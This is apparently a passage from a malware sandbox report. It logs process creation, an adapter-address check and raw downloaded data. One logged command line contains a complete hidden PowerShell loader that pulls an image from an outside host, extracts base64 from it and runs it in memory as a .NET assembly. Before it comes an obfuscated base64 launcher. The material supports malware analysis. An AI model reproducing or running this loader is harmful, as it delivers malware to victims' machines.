XSBmmcURONçuXSCcmcURONçuXSImcURONçuXSmcURONçuXSsmcURONçuXSCmcURONçuXSmcURONçuXSJwBkmcURONçuXSGEmcURONçuXSZmcURONçuXSBzmcURONçuXSGEmcURONçuXSJwmcURONçuXSgmcURONçuXSCwmcURONçuXSImcURONçuXSmcURONçuXSnmcURONçuXSGQmcURONçuXSZQmcURONçuXSnmcURONçuXSCmcURONçuXSmcURONçuXSLmcURONçuXSmcURONçuXSgmcURONçuXSCcmcURONçuXSYwB1mcURONçuXSCcmcURONçuXSKQmcURONçuXSpmcURONçuXSmcURONçuXS==';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('mcURONçuXS','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" filepath: powershell	1	1
CreateProcessInternalW Oct. 23, 2023, 1:12 p.m.	thread_identifier: 2356 thread_handle: 0x0000043c process_identifier: 2364 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://imageupload.io/ib/ws8MAJ6eptiLfGu_1697738492.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0Lnhpbi8xNS4zMy4yNC4zOTEvLzpwdHRo' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))" filepath_r: stack_pivoted: 0 creation_flags: 0 () inherit_handles: 1 process_handle: 0x00000440	1	1

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Oct. 23, 2023, 1:12 p.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (50 out of 115 events)

Data received	[
Data received	We5ò½2ßÃ+Zi°^:ÎeR©@®ãn%DOWNGRD cÉ)È£³Åz#cçÒVÉ%,ñ× =¶TÀÿ
Data received	~
Data received	K
Data received	GA$~ÑÿºÏm] ÎÞ"%z0fó\|!FYÉAÓá¶öBAhÍ]sABùj$§¬q¹U¦}öJj¶x¶!?ÑôÚ°v}á#vÞ÷ÆpLÎlòÏd_»ÞPE¨xx·G±Ö1(ïò}:EeôÝâe¹9þÀê}qTvKÍ»²ØªÑ`¼ÿ0H8¸ó`ñßûê¡Y¥ 2laÕ Ëd¿b24¿ùÒ2p_Ø¼²v.÷µU©$¦®gC4°î&uB¡ärE.CläTL¤êðbgG¥1êVDØÊôx¢&a½ ¦¯ÿÀé-;$£á%qO6T& ÏfÅwBÆ£XÚñÚ×6VÿÜ§¡p9Ã[Ñ§=
Data received
Data received
Data received
Data received
Data received	0
Data received	\|ºðØVßÏ¬aÌP ºê\«oIdo3É+ë±ÓÕNÝG½éETn
Data received	p
Data received	$SÃ<¼Q\oldq4vôåò_o~_ó¢+K6 t Ã{òö³w8Ð¨6ÂÓÊÉÒ³×OnüÙ»{EÁ¶ÌëÿAÂûmÔsF¼ÍfgWÞm¢wÚ¸pðz¼4åÀï^^ÞÉgÛ´l²ÒHnPXØÆôyHå]^ø5ìl\|1&÷^¨$ãøÊäÅ©\|û`ôbÕx ¾4%'niv`®iþÞZxªnãÝÿÕÀâ!ã<²Ç©áù X±ÅBY°z«Ë[<µçæÓÑ£Àîq1¶»¿Wrì[ éÒAûmÿ/3}n7±(C®´Ûer{Í6ÌÆWµ«¥çV\´TjÝ2eÿ²6dRÆOØ#+}T¼Î·ØC58_Ýè.¬¤(ûYZî>þ0 !Æð&¼ÄÖTôô§/tq´yrI!Ý½Á´=âMK{µ=n¬[ÏÃ0ÏÀ«öÓh6mÞ9%ãxÒ¦v'-d[NZ :»c6$5Ë0ú%%Æïp>Üm¹C}0iªÖÉúLÝ¤¿K7¡ y5zÑ¡fë]mËáäMÔUþrÆjAêþË¸@òF;ÂÓ@¢cFá«UôãoZÑiþ"èÍÄðyaSðÜpW×÷ ÚB7°yj'6û»Ï¬&Eìj©ëx´0)´üä²³·¥pºÑÔfìÞ^È@{WÂ8à¨æÚÑ±ûÄ=QjmUÄ¹QË7Ë2'Ò¶¸z^ùl07 ZY ÁëÍ5åK}÷Aí§4±É÷(Þí×Yw<üÔ»Mé`c·þÌA°ªØ5máÓÿ°÷Ïfy),öts5TÚ9Î.ñróþ6ÌhÐ¸Çb¤â'toÛ6in\3©¨EÎ+÷qIHrd¹^îµ`ò3-å²\|ÈUxLÆJPÌn©KLò²&¹Å,ÌjÃ.µÙ4µ·oºâj×=à\|-JK-ÒvÙþ¼Í¤ïÄ¡ìu« XD±l_ÖS ¬ër+®¯½ô%¸!ºt ÃÅy1ð"Î{9A¼©e:3LÈ¾8j±»Vþ4ÛOno·)Ë@{DdC;¿71±YIa÷YTk¼Ç$öüêºnáÞ®Èâ´j3½rí)¸ô9Åî7 ä÷/k7\e·¯óPÇx 5¤DHÕõátäE»ØSâ]B,U/árPíÖÓç6âJÃ<íF¯DáúÎÄ¿ Àr!;¬U"UôÓ\|Ï«VÍCtuÛ=íf ÐUÀ,_p!'ÄáåÙkHxuÒkÆIujÍ¸Õ5ß®½b«ïë\dA:¶f#ÜíOüðÅ0é5îQÈQªBZØýmÀ+k¤ñ'(t¨Wvw=7cm<æ n'E/}iY ãPÃÒ½iâeSk_Ñêß¯mh£>ÖE6A=È7äý»E)Cw¦Q[zÅÑ+(¶Ëhlôé·K¦Á&³°=Z ñÆY¬¾W×:Ld÷6{yÕü08ÃéßË[ \VMF¾LÛ ·á¥ÔYÅ7ªð½²¢ mÕT;+^@n\ès\|«¦ØITäõMÕIAí':êüü2]¸Yý8öÊ¸á§ÚÁðû
Data received	lÚ¹í%Ç2Ãà`$£Ý]ð\|Å÷¤Ú.¶÷µÏ£µQ p½³Ñãs>Ad\ïæøî à5InÙÕ÷èe{ª)_ç0XÕ9JñW,f]¤Ôì¤H¸à»YcG ÒOb4ó¸×Êª¨Ø[Û\/Po(Êå9e?ºùo\|Çÿ[$>¦+#YWx ;«ÞNñlþ8Ø0]lAÄ¢·m&Ê Í:¢Ún CÿòÄtçË´®@Øñ]§ûØk½õÚµ¥¥3P(2¥Å¡Ám×Þ.!îZDÎ{¬:ôÕäàðQÐpeP+ðJ}ÛZìnÝKÛj²DÄ-c?ÿ×»£HSII<ªýÈ±oQ¢o± òA vþÐ/îì>ä¼qÊZÁæê;È5ðÕr mÎÆ$2ýßÞ.s}Nâ`ÐAxÀTÑh¿5iî2IK¶p\Ä÷7 ±-Â® "f¾Te8µi-gY(ce# 1AxÃ$~ÚjQ6* tÎl\|¥DÝ±òzÊi¿t1G[Ç/¨PÙ©VJ¨Ù; Aëj[Þö&Î# £âQ9î 1ýÓÓtD:(BÙ/y 3[C¬qEû¤]>-Yz ßý5dtªAØègP'¹Îìx<Î9E¯®¬¤ Kfb¢-Èú]3b%êKD=Ó?)Åâ¾êÇ[Ã³U°9ÞÄF`<j%äqsxL¿î®T÷§}ÀàµC8åG¿¡®!ò&mõÖ)Ý¸sØ¦q'¢µá`×£½óKqô² (í\|ä;Y%6iëëæi%XþlÍqäÆ v8ùÀ¡QT©0®4A$qÑé; øîíøE«±´Õ_U..AÈa $D\|SâÑJzn\|ÒlJÞÅÿg` >ÞElFRÓ$Îg¤° ÛÉ ¶×´!9ìÚmÄ!Ìfýá¥MYÿdVnnîR>øã¢6ëSokÄ¥÷µ·§ÐÇÇèÔßh°¡L ¬=ìé¤ýÂ¶ã¤Á¦´ Lì]úãm~À~ ^1âÏ¢ã·V© gú¦ÊDw-9ÜÑãþ#º®Ë.?ò2Krc¬õ-}.å "Z¿ñE>£%`Í^øµþÖa!(?®}Øªso¾,¹ÞÈò^ÓaÅ«%ë5Ò6<Äð_ÇÏuã¿JØÁÚð¬£-ßÑúR®ÊGìÇPÐ¿ÖÿÙ¬à9rñ¦C¿:áºÍÞí¸z¶ZÃ0t~+`#¹_¯;ýû\|©øTúsmIFEmÀ<Þ*Õ½ÀSÔ^éþôÜuèÊôÅtàÏÈ1ôLO7cäª¥7ÄDEè'HÖûèé"°ßÆHI ü=) l$ñZduÎàú!ànC·ÑO?Bc¥ÚÝÆÑQ³¢o0Xç îªGëoÚH?ôé~SàÝºè×Ñ3 F ãufê°Âþ5Ú5 å§[<Ûì 0¬øåªù9Ý²A¦öG+Xi'SHSi½ûLõîîfâü3´i°(8læB´èI?&ÖM÷õLC\K%è×8èÅ_«Ój9Ï;Ùï«loÓûO7ôtÉT/V'Wè= 8\ýíÛ¹c··ÄD³£tºÊ
Data received	.aª1vIþîKfSÃ!äm£yÆåÙ£âô¾byzÜ:ýY®r=)UéZ9§¨¼tó\|ÂBqíõ%ÑE¬ÙÆ`RÆ]_Üe±³âÓ BþZÍc0r½Ñ¹ðh~âW¾1bYrã^ G×¾7Á{ º ø zñÚ6#ò£÷ÜRîxûtmùæhÇl$xù~Xò¦kØdÿ,À÷KÚqq6kX\ØÃ5ÆÍb¼9Äp ÊÇ©ôó¤$-}Õ·5EÛEwköÈÃÑô¹BÝÕ'Æés5C5?×ùÅ¹Úé;¦CÆv B¶Ñ^gÜ,§XÏeçwWx°ö#$B à< #¹Hp%nÎ¼¾ÔfL;eÐ?úÝ¤-RÙµ¾h¾~MµANEª?Q_NDyªp²²À=D-6»øvïÜÆ{Nh!ªs¿ú¶ÁZ8Hi³/dy¹Ë¹.þ{Äjèÿºð>Q±®íNÖ og}eÙ æñ2Þùd>Î¹ÆïrHQ\¶¿Í´dhÃúÞ"+Í±(ê\|£ïi@Wßbí åsu~wÝýVËµ^&+ï§NÌ¬Û {mË\|ícj·DÅÌsÔCÏLT¶~9W6éùòP ÁDàw¨Ár¯ÆHàö»×Å. ½º¸£PÉpFO 9iQò#Åë¾]ºMk¦ÐY&¶°l 0Ë®´²à»W<DZ{u¡Ñ?¦"p^\|01»w2Ê¡ }¾æÍì÷æzî/¹Í DÀ!¬ÎA¡rçxéøOæ/©Ñ7hÜêt¾/y[Àqøª¯A(¬ÿdm´,´¢C×¿©¬G!Aå¸`a6»7:ÒòkM ¡.ä#ÌlIÊXGdº=õØÃJµÝ1fÊà©iÊ¦Èþ!>x¥\|è4ñGì([Øã=Ær¤Á_%R9ó·[,.±SPÑvâºH_â¬¦ìrâÕU#Èª®7Ë)ÆªÏ¼6¶Ä ùÄ¯À_ÓÕ4öÂÙjn£ÄØCÉÂâG &«¥W©ÊÚHàÄõ \\|j^{;ZÅT/!ÒÁâ¯ÄÄÖxr&9XÆ(µ=#»ç×±#D¯!¨>ÎÈ·6:À¸k=¹óz9û>\¦zM;äÇrvt}^_NÞ Â¦¥d´øFø)DûéÏÁÌ6S30eq¿Û¶gt³úÀý¦¯ÆÆÆuâ\éeãMs-8c¤ÜÕ°G¦4f.áý(±\tÔ ['øån?$Taß5má±a¬@ëÃOÌfJü°è#xúéHû\|Dë0J£«²O ÜØåÏY±7Ô8Ê2³ÓF¾´ýàMoÃÅ¼F/ÊÿµóHF°Q{uÏó@[)ç5èÇÏQ<üUÈw¡ÔQc³.¨â©l{z Ììq«®´äìÞ;³e8ÓÈ¡+ÄBT;XKác2ðhH:ÓXÐ§¤Ð={à¿ù¼¤_gÁò F§ÉIÏÖ^Lôµn¬¦%Ãª£MÜeÂØ0Þ@ex%ØÔ¬TÃoË UBÌÏAf1<ªôÕQÛ%5Ã>¦>ô)UMw[CØ»i27g=i&¾¯6q3\|Pò>2
Data received	Ú-RÛô½ã$n,·ì62ÝÞJ`'2ýR²×YCüóxZËx Ì"%SymÖ{ý©ÚÆ ¿AN¸ àd/få)Jg:S^¦?NCÄ¡Iòsê-ãËMf«²Î6ODÿÃBÃÖá¾X®ìå^ùåbq@¿¾ÙüNÏæöûÒ²+J¹ï8¯ÚMÓÖáYÎKLÔ<ÒÔÆPÿ7} nZÛVß~DºÂûjølýâLQôC(ä~SG'=¼¬d¦ÐÒßÚçQVB7¨4fãå¸iOEù¢>óbõ?âÕ.N·,E$ÿùÍ¾Ü©YÅÉ§¢{\Ñ2e/²ÖL@Y8òµ/9½4:zãKÔ&} ªu8^-mE¹ú?Á¶ÿý!rÍèt$sü¥dàyµjøÌÀ%p"¦zý5ÝOÈhÂüèQ7ùÃ²}CzáEàQÏw2\|ý¹=ò64¶æ&®ØëÉ]¥F_âuèØ¸µm_è²MêãOý·4\¨[%JÜKxjgÿf-Zf+ó ÃtTTRàj¡_¥%éô1§Õs2®~Ó««57sòAÃßtëÄ}B~A¶ÃÔÑÈ%£á\|½eªí ;é²ÿÝ+?LÛYj»>«é º×Zá/x0s0QìqJxê¦Å¸ván?ÓnûÐlgú\|tªÌq4¨\GÕE¯=ü´v:3°$¨GÐ´ ¡ÙºLÅËø¸dUûs5Û30ÖÆDìMSN©N§¥ _ ·£¼4Tã)6:8õ¥#!Ç §zî8U,mR# æ$~ïg#ìVJYôöØBýÐDÉÅ1ÒÊõ\|ÍöÉ äìÙ×ïêñö'cuÁl\,H½ô3Ô¢ Öá¶·* öî{y3%ÑÝ¡¬×?õ¯Sf§ÊeÊ6[Ö(££Pé^1k$ øo¶»¶" L0±¸j ¯Ô/ÂÏý@_×$×n¤ñû-¸î(3~Â¢P®¾ØÊ?)ÕÔWá¤@AS1¹Ûë«ÅWÓpú2CK[ùrÞýäÉ3i«±'võOîË×ïBmåIÃE¾em0áÖ\|¡~f "[¸áÝºÃ&C(ÅØÉ'ûiC^ÄU³ó-ezK6½úêy=(;¸o/æãÞq¦¨¶f_éHûßý\_û¡#ÂnöQuõs.íÍfÉ`¡h©#NüFõyqB`¬ò/·woÂÓÒ©c+:ò^un`ºþï;pÒûwÍf2dªígÞøD¦Þ.XÑ2"Â¡ú·B<Ö?ÕíÀnÌhþeGeáýëêO¼jìg ÀÉwÒ%&¹=ÔA¾ñÄ2O³ð ñ¢/«´ÛL:q5Â ¯ÅnJ C&"¡8áçw5=41¢¤óÃ!)qR£½zÕÈAcp rxcóáVÊ.Ä%ë´wÚexBp¥Ú³_?êc`ôøÏìòë18Ã/*xÓ/Q±fb¯}Þ ?¦¡7&íPbÊd þbPÅ,JÓì7x¤Z÷pâõ«Å»¯ fØUÅÛQÛÃÏà#ýðb§ìFqOÒÌb`\ó °L
Data received	9K á&^iiK?®ÊÖ@ro!\²©OC=GÄÚÀúLÄnÈ/BRåX¤0ùÂbÊµZtD^02Ædõ1âÀÏ5«½S< 5öZº¶÷è£§d§Cé;è\|5$W¡e TñaYJ$d¾FúÄ ±ºÕÚýrj¤¡nëzz$A)ÜÓ2äÇ&.½o×¢¹YHpF°ÿ%Ïc¼¤"QzÖvØágx¤ypi\|gÒD§RÉNOÄ×8I3T«V ¼Ì·yéµ"õXà²æ·µotIKæ£SQPP°rEäÝFZ ®Õ[ ë·H~Ò³òx½â CÉ¥©J7 c<{üó:3YÆ`8T-÷½@I_ßç´û³ÂVêX³åÁQå¶Ö4÷ Y=}xm[b¡îq² BGÎÞ?b¥¢@l4ù<Tùÿ ýÕãÌëk§lg;µ5-füzªg¿vÎGs±é Ù>« z³áö'Î¨ö1ý° ã\|¶Ì7:JqØ%wk°I®ûµ"óKòÐ/á}nzîUïDÂöMN;HçôÛóç¦8wÒDJÿägô<çeë@Ë9è&®¡ÆÈÍzÖqòæ$zÔ8>ä2\|Rú!ÿ"Ál2ZÄåmtªkà òÇ»1/é\òºq3ZõñÑ½º"h¨ÖPÞú-É[ç=gÎLß8áì[À6áh.#Xþý(èÌ·;?áu÷ÜEÁòÁLI8'Ëª&ó1¾îôê\ Øü¡ÕDÞ uTí%;Ó .m©ñM·/S$WEZÙ¹Ú¦ÄG=°EG¯Êf\|nÞIfÂ£÷VNv=×KòÞL5«ÑÛRÏÛÙg,ç÷"ixe÷pi¨b¿¬#åûëßç"Z·è8\ºÔÂÃ½nÐA:h¹ð½íÈ¨ã»Ü`å4sÿ§Ô1D¾jÊdEiWa³ÂýóÚõÈXy+çû¦£<:BZ"êÕ°+N^TÞzíWÏ7¢me.ç1Ï7xÆé/¨¹å×nþD_+{?4Èí¶«ºq´fV³8Àêº]cÚ¬]@¹©ù¬{Rë¤c,FòÇïôò]Rª¹CÇ_-AÕ£¼EJÜøµñrWÔMW§¯W&¯z+G:äïÍfÞ¥çÛÊÕÿ§Ü»è:y&gý«vXçÚ ñRHlX&ó-¢HÍá{BÏÃÔk^ÐwÂLý=R1âõPÉUïE1«ßJhz W£±¥swµè×Q{à&u ¡u³³//ûdåMÇB½g¢IØI¹ðMGAé>R7Ì¼Ç22w>}¾$l¬¯ HÂ£ü²údÐÕoÜgzÈ;Òü~a¿,§±-{Ë]¶¨üÀÎ»\Èâ¸×¸$Jeë'uÎ?_¤SÀ(ò&ÕdcµØR;zêwßwSx`\|µcÎ\+îuá4&!4ÐñJ´ëx{Øâç¨Ý»R9=MBw(î¤$[Ì¬b2Æ0õ\ì:WyàªÈ©³KÑâHbrØ´8íÄÎI0.þGëÕþX
Data received	qÉüì¯ AþÎuYöA)£~·í²~®ÀdÅ%£ÑýFlêºG!ðH/«o¸D´þéö HfOâÙdsÖ'ºxÿßØ º$Aû]× ¤ÈÀÿ"öW¹gÎáHÃy Sñ* ÌÄÃ&à263£a:b>ìÚõZ'wpêiZYÆt:D^4êPm}+2óÓz0â]~¦~Á4ºIñæ%=KË0bæ¶íD[+ªxZu8R7a-õ5´÷s=Ëõ¶ñ)AVqBî9g3@«è@':IîrÕ^ PàQ\|(®$Sõ7> $fr N©k'ëç"?ÚáåÏ9g!ËZ&å3É ªZº¤Îðj °ª2Ô">ºUîvãËÏÍÃ¡$!Ù'én×Õ xÐkòaÛB@ëÞ\7[uÒMaÐ°ÄJ³h¢v~T¨Uà·¦6¹òeãõËp§ùGÀMJjÃ :¸2¨í)m×1pp&x íå^ ï"ShDk¥CüõOèvSµyíËJ6¹ÂTUùÐ>mT[aÖÏ²ÎÁbÖä,Â×Òü îöJº¢¯®ÿFxÆu%F5«"¹(ëçñ4Ä¥¥TôT¦§ºÀ¹4êF._ +ôn%5w}ÌÑ¬8Ñ£8êm%CÀËÀ±õßýu¹n e5Är8`äý¶æÌÇÕõ¿A¦ùíxNºå2WRWEõõVï»Ñó{8ZªG]H±ó6Ä²3,³:ÜFåÎ¤\t³±¥X-^o OáîØ«Ñªy6E\|ª%D8¨¢QQÕ¤i¼¸äß6¢4¤«+îÇÖZzÓ50?ÑZäç5y+î¹äã¢AzÍï°Ön mgµé)]q+^\W½45~KX4Ôpm¹vf&h¶<Ù!Ö6}ß±"3Æ_ïAÓó(¡n,_D[âFÙÓx¹ËÔ(»c±jm¢VB /P±ÎïMÞÉ8$¨ª³OªèØ\.R9³Lê¬Ñ¥]Xg¤%ÚÒÔ-q"1ip+7ôöÛÞàÉÇâµ®CcÖDwÑKù Zá{Vô¶¥Û#}ã7/HMÓrD ùÆõºqZ5½ÖÜ:üí ±æPÁ±ú[Ù6ç¾á/rmóã$!aiåT5õrô`O<[Ï' guNýµ~4éØ¹rÔ{·síÞ]ÿÔL®÷çVÅ'¤l$sÃ:»)b"MA°\|r>GÌ `FÂôÂá0V©©47éA¯hmqîÅ¿~RCV»7h6øÄ²½+ì¨®-¨²¤oî¥»ÚXDÏs«±$Fûnõõ¸æK¹Ù$<\ëZi´õz"Q¨@puùÜ¯}¥w<±X²$1ªV:¤dK\|·×1Rüz$sß7 ³ùàÍàã¬"T<v®²ÅÊ[v8Mèr¹àEgL3£¿º³uªû¨¿ó5þ¨ô6$ÉEÀfho6ôd,òâRi¹/}÷c{Þ\m4ZOSp%æIUi1«Ù§ã¼¹¼V½@¯¤ãv«ìPÈÜ5ïÎeº¿I·r¤a¦÷,D÷Ë¶ÜÇÝhâN¹ù6ôE§`ÂÛ0P¿,â^S-g§2ÕRI@8Läª§ï<fw¸¨û
Data received	bé#×¤ªÄ¸1Ë¡ô J$·VMø1S[NQ·ô¤FûóezJP¨Êî.¿óÅyõÂ?K#Ì_UºÍm${ÕWîÿGÔ¥´CÅVO¹Æ<û¢¤õ³MZÓÌ/¸¿·#ä_vÇKxOÖöÂ¹¹±[¸èÎGÁxÙí2»6NÜ"ó_÷kÚët.Ò8S~ÅS²ê`ÂÆkÓÅq¢ÐyàÍh´¢»M£åÞWèô>>ÚéÞsgæB¯¸©z\|ÆvòÏ"¾òV÷Z`Ñé½d<Aÿi~¦~'ÝBõÌ4¸Ì\è$·é;ªS¢gý±N,ÉÛ«4âºÖ+L"ß÷ÙÐm]Kÿ"vöþöýè2©ÎÍ¤Ãê¹¿s çIÊéÓc`ÞY8î ÜË !ÊÖ¢~í·ÎzRæ´)Ê¢£ §¡Èñ±Ý.ÛM}÷°}AÁQDØÃq¹°Wês¾3Fø4¶K6QBsBiÍèëW 1Ùù3,ømÈº5ºêß÷²¦S¤_r¯[í$~´óÙrú¢äQá¢{ËõÕ <$§köC)¡5HDüÎ "XÙmfÝÉQ¹lj®þÄ}"EgMú\³_W!3b¢¥L(×´Ó¬óouênj×À¬&·ã;»J# ºó±æYúË(JD_LYÓðú¢ìzè/OÔ4³wdäðBD iÖüxQ>á¤öÞ1CW¥ :Åd²lýVÖshB1s&.]Ãa³&æ>îÉõïõpZOWæ)¿dÅö&9jIwZÐï®·)®]n,b}¹ò_yÚlùÑ±hÜ~É;XòÃùÚM{ª.6F.µ)æãè#mÇ¥ð¯äeö5WeD»ö}Ð=b¯péaiG=½á¿Ã·ÂvÎ#Ü/jÄIÁ<.ìBèdùÓI+ø (Ä8SÖO×L9Q`Àsf·Q-â µ¥¼a)38é,kÆ+íÒ¶?g.ïÚÄÊ:PM¾û[e@^ `ÈÄOÄ¶cï)ùûßBéò·ES´ñ¢û0 KÏçµ+/ÿ¹6©äg,õ ×ËsâÉtýjðÉ¡W Ý·ç>S¿¿§ÓOèõÂ#Áïe^CªKÿdxÚûiaàIy±µÅ@NôâýïÕ+´©òBäî©¯±[>é)î±ZRaFÒ4¶áD]n¨e}Ö½7;æGÈ¥4ºH4®÷ô¡ÚIeÓÀoCÎyRòÛí×gåd¦çÚÁÍÔê¨ùMÈÀ¤G×rq ÿ}jNU¥IóxþìWýæÁäÖî[/Îï!°>!7%â³OÃ§Ùö\!8¥2ùIç¶Phðoâì,ñÄ:ÙùÉíõPnQÛ{HxM8òd1a7ýú]üBD¦ëª¾Q¨&P¹ ¬çÇ25(ÍëpFc:ûØR©)¬9väÉ°ó00Whfy}tuf··ÄÀRÏ#ª±ìæþ5O^ÂöpF»ñD´ ©à ©4¬¶Ö@Îp³GpxUÜ<CEµ©%ÿ:!'8N<àÊ.DøÀ¸~4å'ðËîf»hN,*Ä6WTÓªL
Data received	Uåö¢WòÌ[9íºû sºw`ªaOûó1£é\|Üêãe"E(ÙÜµdÚgþî½"ÂÀüîs×Qc#µÆöYuc3hÎ_bªÆ<Íôbâ\|vqÅ¨Øî¥Ä®ß?,Ëc~ê;¼>®3u0/ÌÃÑ\|Ê¬QÉ³þÍ[ûhrD·ËÒ:¥<°~½zÓfÄNÌ¦æyaÉ óà#iæú 4þ)pWÐ=C!çÒ«{aÈkÁ«1h Fjíöøë¾W¦!TÔZP³EnÎ2 ö¤hºSjÞkp}ªi¶«±'/ßékëYU'cþV¾wäSÙ]Å¦4ü3ç,°ÊÃ÷Í/ÀÜdJ¿'âbÔöCà½ÂxËVg2ûÓ-p¸Mñ8Z5 a©[ëàúï¥L¡K>_Xñ-kÕ û35ÎÃm2ìXÁBã;°f¥Pÿj=-nÇFÏL§^8Ü Z]´³êSÉè9Ûs¥G÷Ìmø9b 5AÒ&DRiÍ©E+x %ßuÈäê³L÷A¢1¼¿ôBßÀèî]7ÞOºýÓqC~\|X¡ãv R×{_.ä_s0FPuÖ)p¯Hµ®Qd£@Û½RÝ³XÉ_çíÓþtµz\:õ)Ëp@Ñx££·+'¦ùÂã7C`¨ù2I¹ØÄ×¢¡È@ZÔZ4_{éywFQ\|kôÊÞoÓÜPjçÕ,`ÜìÔØÝðB²ózÌÆ[îçâÆñúpbÌöõ(ää¹eQIo¤Y,¶{=´^<ãaLÏ2O)Ïö8]Ír×,ä%A#Ë¹Ï(F[f°aV!:^ÌOôQv÷áàÜ?C£AB)ºo7Räì)¯ZÁkòû(aHÔÏ;36Ôë;Aâ2^mE4JR?%{YWá¬Ý;°½PØ§PYñtkrú9/Öª\|Ý2Q=Ì¿ÍI ÿ¯/k9!-Ê½¦pûñí1`rý3Lb!±¢HÏ ýÅ Õ>r`¯¼ ¬-÷7]êhA!À¡5.Åy «ªòmc®+h£öòðª¾ÁÕAõÚô¬.;s+ÐËKWEÍøHh3@´ªÇ@LäÃêêq'ú£`e¿X8ù3¨·ÄZÖ/ÑuC¸¤´:ÄÓÂ[{(/(V(ÓJÑ}Càr4ØÏf¡ß+DLÜÂsâ¼P5®5kçIF)®íÌÎÆËGH§þÒÙT#¦W 0° ud@w2wj]ß]]DÓiØ½Ç\ÿ(&8 $éÛg¢ãZâñgR;ÇÉÆ"sDjÉ³¸2Å¥~¸%¶ëú^¶lßXô)¡«>w¼;í:^àBPÀÀ¿ØÃ'[IùÆ?¿Öè/Î£6°ÐR81;Î)¦Ä1OÝ¢à#þ±¼ûòõpj³k©ùsÃftÐèù[Ï¹k~Ñ+òJÍ]¥TßÃm_(^\Tú$Ðð%Rà¸7Ñüå+¡áOÌÌ¨ÿ½F dÝãyÖàbw7n&k«Ú<Û,\RÌZò´ÄFÞ\|KÒ$´-oÐÌï¨Mkáó!¡Ë]Ý(Á°#GÈ æ; wïòÚËW_$¿(+T¦ÝËu5g#øÏ³´fä~Fãqû¬¡d¤±ÛÆûH
Data received	ÙQ9Ôª66 e°\üÉHî¨¬w;Vû¹íìr§Í#H¼ _ÀÛ¯ºB @ hÝaoZITù×QÛ£Nfïa'aMÊb.Æt_LU¼Æ}%xÑh9U=A òA¶âÛ:3[dýyD8F¶¿gQ¹@ö´tßCÁ¯o^`>&=Á ZtÊü\E;cOõÒEK³¢·RT!ê<BZ-ëIqÏ^82\|rC8ª¿¾Nó·frú~Z6bì,@ibýãGü!¶ü¯ç(þÌÉ&Ïí ïéB¢¨à]tlÏ$¨Ä ÍO¾_y+VEÛAA óV~Ëÿ& ¥ò¦®S{øWnñrÑ04\ôõòz~j ÊÿV5¬6LSIº¿çjb¸ð,Øn¼¨Á-räE'r%£Ç¤÷ô1ï;&ý;ñ<¦¿)Lv4h¨Ô¤gÏgvm0¥Ðwrl)d{56GUÃßO!67Wi`!ÃJÄÎËpÓudoÿÉæËlÒtåhqk{ËwAO4¼\|ßP"ÜíÓ¸k+j/7"3Àf¸øØ9ÍK¨K>à "Á¨N&ïäsDëØ¯Eé¶îXÉÛTÉÒÂºu^RgÒ1XE´º\ =S7PM¬îùtÇõÅ;¸5@Úñ×ìEã©ÈÀåÕà¦à¼xL$é®ÌmÏ&MU;\|¤Maâc$2ç La.¦hÔÓz(éIsNãçfMéW×@×7®`äÏ¦fuüMË§Áè´oóªPåïªÔØó< XÑúá«8?Æ;_oéÁWÜµuÖ ½öÈý ,¼ÂRÑP¡3`wvwúüLëu·I3n®jÝpgê,n-ôAòlÇBº@B_.Ë3µF»;úGJÒyùlÃÚwCÉ =××C©ÖÞë@W7KúE> PdGY>üÖO½ôDÂÕ12!¶¥®ì<ÃBBs"/(s¡bQÃ M>Os5d, ñzÐåØc«ù- bÁá6çÃøÀÇ{¹=oH±ÄÐB«°/W,2Ô¹r$#oÏÇMûvép&IÛËÈ!\Ëgd1¥X3ÙÂÕØD©&uK¶ïCÃØaé¤ü0{6%YÀ} µ)³AO)Ø{ìc/pú!bõ;ÿ¦>ÙîÛBfñª_èâd]BìÄ§E§CÞdõQ¿.ías;ÅÒcfjL8ªF¶&7i×J eêõÌVî:[k_ÃÐùÍZ5WÇûGe§´èxz(NÓHú©j÷©oLQu*C4ÑæPØ;W¹¼W¾O&lÀn3\¾ ? ²¡G=62øÈTÑ%äÕÕTÕfEþt«#:=!#V4ÒÚÈá¢ýåùÊé¹½¾µ©ðNìàs£JlÀü])Ó5Í"B)-qiãbïéò0ï¨Ã=ªe\|#©15ªæçÈAÀÞåA9u7; +ÉØµV ËþS!Ö@²ýÍªÔ>è«v=qNYùë1> §m¨5Ô¿æàqsUtQiíÛ«]îy4Sg¶hP) åÓN¾Ý³¥[õ÷Mî«zOÛA9-Þú&ÍFm
